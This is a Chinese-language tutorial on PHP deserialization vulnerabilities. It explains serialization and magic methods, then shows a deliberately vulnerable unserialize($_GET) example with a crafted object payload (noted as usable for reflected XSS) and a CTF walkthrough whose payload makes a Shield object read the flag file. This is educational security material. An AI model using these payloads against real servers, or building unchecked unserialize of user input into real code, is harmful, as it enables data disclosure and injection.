PHP反序列化初涉

简单讲解什么是反序列化

什么是反序列化

序列化说通俗点就是把一个对象变成可以传输的字符串。
和序列化有关的函数有:

1
2
3
4
5
6
7
serialize() //序列化

unserialize() //反序列化

json_encode() //序列化

json_decode() ////反序列化

使用json来讲一个例子。

虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助

1
2
3
4
5
6
7
<?php
/** Created by Phpstorm. ...**/

$book = array('book1'=>'Harry Potter','book2'=>'Time','book3'=>'History');
$json = json_encode($book);
echo $json;
?>

返回的内容如下:

1
{"book1":"Harry Potter","book2":"Time","book3":"History"}

也就是说我们所上传的这个数组被序列化成一个字符串。便于储存,下次需要使用的时候,我们再反序列化就好了。

接下来我们要开始深入一步,来讲讲如何把一个对象序列化成一串字符串。

假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/** Created by Phpstorm. ...**/


class Democlass
{
public $name = "Notyear";
public $sex = "man";
public $age = "7";
}

$example = new Democlass();
$example->name = "lily";
$example->sex = "woman";
$example->age = "18";
//我们想要把这个实例存起来,所以我们需要序列化

echo serialize($example);
?>

返回的内容如下:

1
O:9:"Democlass":3:{s:4:"name";s:4:"lily";s:3:"sex";s:5:"woman";s:3:"age";s:2:"18";}

然后再序列化回来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/** Created by Phpstorm. ...**/


class Democlass
{
public $name = "Notyear";
public $sex = "man";
public $age = "7";
}

$example = new Democlass();
$example->name = "lily";
$example->sex = "woman";
$example->age = "18";
//我们想要把这个实例存起来,所以我们需要序列化

$val = serialize($example);

// 反序列化回来

$newExample = unserialize($val);
echo $newExample->age;

?>

返回如下:

1
18

反序列化漏洞的产生原因

如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进魔术方法里面的话,就容易造成很严重的漏洞了。

魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

常见魔术方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup() 将在序列化之后立即被调用

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone() 当对象复制完成时调用

__autoload() 尝试加载未定义的类

__debugInfo() 打印所需调试信息

__isset() 当对不可访问属性调用isset()或empty()时调用

__unset() 当对不可访问属性调用unset()时被调用。

__call() 在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get() 获得一个类的成员变量时调用

__set() 设置一个类的成员变量时调用

在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

1
2
3
4
5
6
7
8
9
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

举个例子:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

传入数据:

1
http://127.0.0.1/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

返回:

1
hello

就能控制echo出的变量,比如你能拿这个来进行反射型xss

CTF实战

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
/*其中包含了shield.php,看到unserialize()就要想到反序列化漏洞,寻找魔术方法的位置。
整个代码基本就是,我们传入的数据,被反序列化后,存于实例x中。而flag在pctf.php中,又有$x->readfile(),也就是说输入的字符串数据应该也是shield的实例序列化的结果。*/


//shield.php如下:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
/*
shield.php中返回成员变量file的内容
*/

所以我们的payload为:

1
?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

参考链接

https://www.jb51.net/article/96167.htm
https://www.freebuf.com/articles/web/167721.html

0%